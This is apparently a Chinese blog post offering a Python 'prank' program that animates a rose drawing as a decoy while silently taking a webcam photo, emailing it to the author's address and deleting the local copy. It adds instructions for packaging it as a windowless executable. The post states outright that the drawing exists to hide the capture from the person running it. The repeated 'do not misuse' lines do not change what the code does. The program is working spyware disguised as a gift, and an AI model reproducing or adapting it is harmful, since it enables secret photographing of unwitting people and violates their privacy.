python 动态画玫瑰+回传照片+自动删除+自定义邮件+异步调用

python 恶搞代码

先贴代码出来

import imghdr
import smtplib
import time
import turtle
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from threading import Thread

import cv2
import os

def async(f):
    def wrapper(*args, **kwargs):
        thr = Thread(target=f, args=args, kwargs=kwargs)
        thr.start()

    return wrapper

@async
def draw():
    """画玫瑰的方法"""
    turtle.penup()
    turtle.left(90)
    turtle.fd(200)
    turtle.pendown()
    turtle.right(90)

    # 花蕊
    turtle.fillcolor("red")
    turtle.begin_fill()
    turtle.circle(10, 180)
    turtle.circle(25, 110)
    turtle.left(50)
    turtle.circle(60, 45)
    turtle.circle(20, 170)
    turtle.right(24)
    turtle.fd(30)
    turtle.left(10)
    turtle.circle(30, 110)
    turtle.fd(20)
    turtle.left(40)
    turtle.circle(90, 70)
    turtle.circle(30, 150)
    turtle.right(30)
    turtle.fd(15)
    turtle.circle(80, 90)
    turtle.left(15)
    turtle.fd(45)
    turtle.right(165)
    turtle.fd(20)
    turtle.left(155)
    turtle.circle(150, 80)
    turtle.left(50)
    turtle.circle(150, 90)
    turtle.end_fill()

    # 花瓣1
    turtle.left(150)
    turtle.circle(-90, 70)
    turtle.left(20)
    turtle.circle(75, 105)
    turtle.setheading(60)
    turtle.circle(80, 98)
    turtle.circle(-90, 40)

    # 花瓣2
    turtle.left(180)
    turtle.circle(90, 40)
    turtle.circle(-80, 98)
    turtle.setheading(-83)

    # 叶子1
    turtle.fd(30)
    turtle.left(90)
    turtle.fd(25)
    turtle.left(45)
    turtle.fillcolor("green")
    turtle.begin_fill()
    turtle.circle(-80, 90)
    turtle.right(90)
    turtle.circle(-80, 90)
    turtle.end_fill()

    turtle.right(135)
    turtle.fd(60)
    turtle.left(180)
    turtle.fd(85)
    turtle.left(90)
    turtle.fd(80)

    # 叶子2
    turtle.right(90)
    turtle.right(45)
    turtle.fillcolor("green")
    turtle.begin_fill()
    turtle.circle(80, 90)
    turtle.left(90)
    turtle.circle(80, 90)
    turtle.end_fill()

    turtle.left(135)
    turtle.fd(60)
    turtle.left(180)
    turtle.fd(60)
    turtle.right(90)
    turtle.circle(200, 60)
    time.sleep(10)


def camera():
    capture = cv2.VideoCapture(0)
    # time.sleep(3)
    while True:
        # 获取一帧
        flag, frame = capture.read()
        cv2.imwrite("d:/photo.jpg", frame)
        imgType = imghdr.what("d:/photo.jpg")
        if imgType == "jpeg":
            break
        if cv2.waitKey(1) == ord('q'):
            break
    capture.release()# 释放摄像头
    cv2.destroyAllWindows() # 关闭所有摄像窗口



def dele():
    os.remove("d:/photo.jpg")



def send():
    sender = ''  # 填写自己的邮箱地址
    receivers = '' # 填写自己的邮箱地址 # 收件人邮箱,可以和发件人一致
    message = MIMEMultipart('related')
    subject = '有人上当了'
    message['Subject'] = subject
    message['From'] = sender
    message['To'] = receivers
    content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
    message.attach(content)

    file = open("d:/photo.jpg", "rb")
    img_data = file.read()
    file.close()

    img = MIMEImage(img_data)
    img.add_header('Content-ID', 'imageid')
    message.attach(img)

    try:
        server = smtplib.SMTP_SSL("smtp.qq.com")
        server.login(sender, "")  # QQ邮箱的授权码
        server.sendmail(sender, receivers, message.as_string())
        server.quit()
        print("启动成功!即将绘图")
        dele()  # 发送成功后删除照片
    except smtplib.SMTPException as e:
        print(e)
# 下载pyinstaller  pip install pyinstaller
# 进入cmd 进到eg 文件夹
# 打包代码 pyinstaller -F -w eg.py
# 生成的exe文件在 lists文件夹下


def start():
    draw()
    camera()
    send()


start()

说一下原理吧,利用py的turtle模块,绘制图片,吸引注意力,同时,异步调用摄像头,拍照发送到你填写的邮箱地址。
画玫瑰的源码来源于网络,摄像头的代码来源于之前看过的一篇博客,但是忘记收藏了。。。
本人 在两个代码基础上进行整理,添加了异步调用摄像头,绘图过程中不会有停顿。防止被发现。
此代码跟朋友开玩笑可以,祝你好运!
请不要恶意使用此代码,请不要恶意使用此代码,请不要恶意使用此代码,
请不要恶意使用此代码,请不要恶意使用此代码,请不要恶意使用此代码,
请不要恶意使用此代码,请不要恶意使用此代码,请不要恶意使用此代码,
请不要恶意使用此代码,请不要恶意使用此代码,请不要恶意使用此代码,
请不要恶意使用此代码,请不要恶意使用此代码,请不要恶意使用此代码,
请不要恶意使用此代码,请不要恶意使用此代码,请不要恶意使用此代码,
请不要恶意使用此代码,请不要恶意使用此代码,请不要恶意使用此代码,
请不要恶意使用此代码,请不要恶意使用此代码,请不要恶意使用此代码,

效果图
是动态的绘制过程 ----- 自己运行看看
在这里插入图片描述
画玫瑰----原文链接

摄像头调用----原文链接

将py 文件打包为 exe 可执行文件:

1. 下载 pyinstaller ---- pip install pyinstaller
2. 打开cmd,cd 到 .py文件的 父文件夹
3. 执行打包代码 pyinstaller -F -w name.py
4. 生成的exe文件在 lists文件夹下

立一个flag,每天至少写一篇博客!实在没啥写的话,就去做算法题目,看懂了之后记录在csdn!

插一句题外话,关于魔方,

三阶魔方 花式i love you公式
F’ U2 L2 F2 R U2 L2 U2 F2 L U2 F2 R’ F’

魔方公式图解:
在这里插入图片描述
吐槽一下 关于破解、激活类博文不允许发布
昨晚熬夜写的,发了三次,刚才查到上面的官方通知,浪费时间-----

在这里插入图片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章